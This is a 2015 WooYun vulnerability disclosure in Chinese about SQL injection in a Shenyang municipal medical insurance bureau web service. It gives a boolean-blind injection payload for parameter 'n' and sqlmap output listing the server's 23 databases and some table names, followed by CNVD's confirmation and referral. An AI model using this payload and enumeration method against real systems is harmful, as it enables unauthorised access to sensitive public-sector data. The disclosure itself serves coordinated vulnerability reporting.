当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150819

漏洞标题:沈阳市社会医疗保险管理局某处SQL注入

相关厂商:沈阳市社会医疗保险管理局

漏洞作者: 路人甲

提交时间:2015-11-02 09:24

修复时间:2015-12-21 11:00

公开时间:2015-12-21 11:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-16: 细节向核心白帽子及相关领域专家公开
2015-11-26: 细节向普通白帽子公开
2015-12-06: 细节向实习白帽子公开
2015-12-21: 细节向公众公开

简要描述:

沈阳市社会医疗保险管理局某处SQL注入

详细说明:

http://**.**.**.**/data/AjaxService.aspx?method=selectzlml&pageSize=10&pageIndex=1&n=


参数n

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: n (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: method=selectzlml&pageSize=10&pageIndex=1&n=%' AND 4743=4743 AND '%'='
---
[09:33:39] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[09:33:39] [INFO] fetching database names
[09:33:39] [INFO] fetching number of databases
[09:33:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' fo
r faster data retrieval
[09:33:39] [INFO] retrieved: 23
[09:33:47] [INFO] retrieved: EtiananDB
[09:34:29] [INFO] retrieved: master
[09:35:12] [INFO] retrieved: MessageDB
[09:36:25] [INFO] retrieved: model
[09:37:13] [INFO] retrieved: msdb
[09:38:01] [INFO] retrieved: PingkerDB
[09:39:53] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the req
uest
[09:40:07] [INFO] retrieved: sms
[09:40:55] [INFO] retrieved: spyp_mon
sqlmap got a 302 redirect to 'http://**.**.**.**:80/data/AjaxService.aspx'. Do you want to foll
ow? [Y/n] y
itor
[09:43:24] [INFO] retrieved: spyp_monitor_1
[09:46:36] [INFO] retrieved: sqywDB
[09:48:41] [INFO] retrieved: syautism
[09:51:28] [INFO] retrieved: sysylhh
[09:53:57] [INFO] retrieved: syyb
[09:55:55] [INFO] retrieved: syybphone
[09:59:25] [INFO] retrieved: syybpro
[10:02:34] [INFO] retrieved: syybydjy
[10:06:46] [INFO] retrieved: tempdb
[10:10:08] [INFO] retrieved: upload
[10:13:37] [INFO] retrieved: Vonda
[10:16:53] [INFO] retrieved: Vonda_CheckDB
[10:25:02] [INFO] retrieved: vonda_lyx
[10:31:05] [INFO] retrieved: wdoa
[10:34:49] [INFO] retrieved: yboa
available databases [23]:
[*] EtiananDB
[*] master
[*] MessageDB
[*] model
[*] msdb
[*] PingkerDB
[*] sms
[*] spyp_monitor
[*] spyp_monitor_1
[*] sqywDB
[*] syautism
[*] sysylhh
[*] syyb
[*] syybphone
[*] syybpro
[*] syybydjy
[*] tempdb
[*] upload
[*] Vonda
[*] Vonda_CheckDB
[*] vonda_lyx
[*] wdoa
[*] yboa


漏洞证明:

[10:39:46] [INFO] fetching tables for database: EtiananDB
[10:39:46] [INFO] fetching number of tables for database 'EtiananDB'
[10:39:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' fo
r faster data retrieval
[10:39:46] [INFO] retrieved: 29
[10:40:20] [INFO] retrieved: dbo.AboutUs
[10:51:23] [INFO] retrieved: dbo.Adm


[10:55:25] [INFO] fetching tables for database: MessageDB
[10:55:25] [INFO] fetching number of tables for database 'MessageDB'
[10:55:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' fo
r faster data retrieval
[10:55:25] [INFO] retrieved: 24
[10:55:54] [INFO] retrieved:


跑的很慢,不深入!

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-06 10:58

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给辽宁分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价